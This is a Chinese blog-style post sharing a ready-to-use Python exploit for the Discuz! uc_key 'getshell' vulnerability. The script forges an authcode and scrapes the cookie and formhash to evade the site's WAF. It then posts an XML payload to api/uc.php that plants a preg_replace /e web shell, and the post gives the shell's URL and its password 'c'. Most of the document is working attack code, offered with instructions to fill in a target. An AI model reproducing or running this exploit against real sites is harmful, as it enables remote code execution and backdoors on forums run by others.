Discuz! uc_key getshell python利用脚本(新)

一、漏洞参考:

http://drops.wooyun.org/papers/7830

http://www.wooyun.org/bugs/wooyun-2010-0137991

漏洞原理讲的很清楚了,不再多说。其中一哥已经放出了php版的exp,自己写python版的原因,主要有以下原因:

1.对于discuzx3.2之后的,如果要利用这个漏洞去getshell必须带着cookie和formhash,不然会因为post中带有’<’等特殊字符被discuz的waf拦截(一哥也提出来了),但是手动去获取cookie再去找formhash然后一起发包,这实在是在过于麻烦。

二、python的requests模块

主要利用requests模块

第一次用get请求获得cookie和formhash,第二次带着cookie和formhash和exp代码发一个post包获得shell

(对于discuzx3.2省去了抓cookie和找fromhash的功夫)。

其中的uc_key的的算法是直接用前辈的,在此感谢。

代码如下:

sys
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import hashlib
import time
import math
import base64
import urllib2
import urllib
import re
import requests
import json
global cookie
global formhash
def microtime(get_as_float = False) :
if get_as_float:
return time.time()
else:
return '%.8f %d' % math.modf(time.time())
def get_authcode(string, key = ''):
ckey_length = 4
key = hashlib.md5(key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()
key_length = len(cryptkey)
string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
string_length = len(string)
result = ''
box = range(0, 256)
rndkey = dict()
for i in range(0,256):
rndkey[i] = ord(cryptkey[i % key_length])
j=0
for i in range(0,256):
j = (j + box[i] + rndkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
a=0
j=0
for i in range(0,string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
length=len(result)
return keyc + base64.b64encode(result).replace('=', '')
def get_cookie_formhash(host):
global cookie
global formhash
headers = {'content-type': 'application/json'}
r=requests.get(host,headers=headers)
cookie=r.cookies
hash=re.findall(r'formhash" value="[0-9A-z]{1,10}"',r.text)
_formhash=re.findall(r'"[0-9A-z]{1,10}"',hash[0])
formhash=_formhash[0].replace('"','')
def getshell(host,key):
global cookie
global formhash
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}
tm=time.time()+10*3600
agent=hashlib.md5("Mozilla/5.0 (Windows NT 6.1; WOW64)")
string="agent=%s&time=%s&action=updatebadwords" % (agent,tm)
code=urllib.quote(get_authcode(string,key))
get_cookie_formhash(host)
url="%s/api/uc.php?code=%s&formhash=%s" % (host,code,formhash)
payload='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="0">
<item id="findpattern">/admin/e</item>
<item id="replacement">@preg_replace(chr(47).chr(47).chr(101),$_POST[c],chr(098));</item>
</item>
</root>'''
r=requests.post(url,data=payload,cookies=cookie,headers=header)
print url
print r.text
if re.findall('^1',r.text):
print 'success shell is %s/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=admin password is c' % (host)
#判断shell成功就随便写的,不太准 还是以人工测试为主吧。
if __name__ == '__main__':
getshell('http://192.168.144.1/www/discuzx3.2/upload','xc66RaW6v3J7p376z2DePec5UcQ0m33bJ8Cd78UdZ74er6i85372weY59e7b5fuf')

填上discuz的url和uc_key就可以利用了

shell地址:

http://url/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=admin

密码:c